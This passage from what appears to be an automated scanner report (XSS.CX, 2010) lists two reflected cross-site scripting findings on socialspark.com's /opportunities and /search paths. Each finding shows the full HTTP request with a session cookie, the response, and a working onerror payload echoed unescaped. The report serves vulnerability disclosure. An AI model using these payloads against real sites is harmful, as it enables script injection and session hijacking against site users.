1.15. http://socialspark.com/opportunities [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://socialspark.com
Path:   /opportunities

Issue detail

The value of REST URL parameter 1 is copied into the HTML document as plain text between tags. The payload 83a80<img%20src%3da%20onerror%3dalert(1)>94b79e6f7c7 was submitted in the REST URL parameter 1. This input was echoed as 83a80<img src=a onerror=alert(1)>94b79e6f7c7 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.

Request

GET /opportunities83a80<img%20src%3da%20onerror%3dalert(1)>94b79e6f7c7 HTTP/1.1
Host: socialspark.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Referer: http://socialspark.com/blogs55b3c%3Cimg%20src%3da%20onerror%3dalert(1)%3E54cf7b14d56/thetechjournal-com/active_booking
Cookie: _argus_session=BAh7BjoPc2Vzc2lvbl9pZCIlNzJkYzlhZjI2MWI4NzNmOTBmMTkwZTdmZjVmNzY0NWQ%3D--6224f5f60b5ffa1dc0aef78e2634e05a95e27ece;

Response

HTTP/1.1 404 Not Found
Date: Fri, 05 Nov 2010 14:16:33 GMT
Server: Apache
X-Powered-By: Phusion Passenger (mod_rails/mod_rack) 2.2.15
X-Rack-Cache: miss
Cache-Control: no-cache, private
Status: 404
Content-Type: text/html; charset=utf-8
Set-Cookie: _argus_session=BAh7BjoPc2Vzc2lvbl9pZCIlNzJkYzlhZjI2MWI4NzNmOTBmMTkwZTdmZjVmNzY0NWQ%3D--6224f5f60b5ffa1dc0aef78e2634e05a95e27ece; path=/; HttpOnly
Connection: close
Content-Length: 12041

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
   "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
   
...[SNIP]...
<span class="last">Opportunities83a80<img src=a onerror=alert(1)>94b79e6f7c7</span>
...[SNIP]...

1.16. http://socialspark.com/search [REST URL parameter 1]  previous

Summary

Severity:   High
Confidence:   Certain
Host:   http://socialspark.com
Path:   /search

Issue detail

The value of REST URL parameter 1 is copied into the HTML document as plain text between tags. The payload c8ff4<img%20src%3da%20onerror%3dalert(1)>074c9c9131e was submitted in the REST URL parameter 1. This input was echoed as c8ff4<img src=a onerror=alert(1)>074c9c9131e in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.

Request

GET /searchc8ff4<img%20src%3da%20onerror%3dalert(1)>074c9c9131e HTTP/1.1
Host: socialspark.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Referer: http://socialspark.com/blogs55b3c%3Cimg%20src%3da%20onerror%3dalert(1)%3E54cf7b14d56/thetechjournal-com/active_booking
Cookie: _argus_session=BAh7BjoPc2Vzc2lvbl9pZCIlNzJkYzlhZjI2MWI4NzNmOTBmMTkwZTdmZjVmNzY0NWQ%3D--6224f5f60b5ffa1dc0aef78e2634e05a95e27ece;

Response

HTTP/1.1 404 Not Found
Date: Fri, 05 Nov 2010 14:18:12 GMT
Server: Apache
X-Powered-By: Phusion Passenger (mod_rails/mod_rack) 2.2.15
X-Rack-Cache: miss
Cache-Control: no-cache, private
Status: 404
Content-Type: text/html; charset=utf-8
Set-Cookie: _argus_session=BAh7BjoPc2Vzc2lvbl9pZCIlNzJkYzlhZjI2MWI4NzNmOTBmMTkwZTdmZjVmNzY0NWQ%3D--6224f5f60b5ffa1dc0aef78e2634e05a95e27ece; path=/; HttpOnly
Connection: close
Content-Length: 12035

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
   "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
   
...[SNIP]...
<span class="last">Searchc8ff4<img src=a onerror=alert(1)>074c9c9131e</span>
...[SNIP]...

Report generated by XSS.CX at Fri Nov 05 09:29:58 CDT 2010.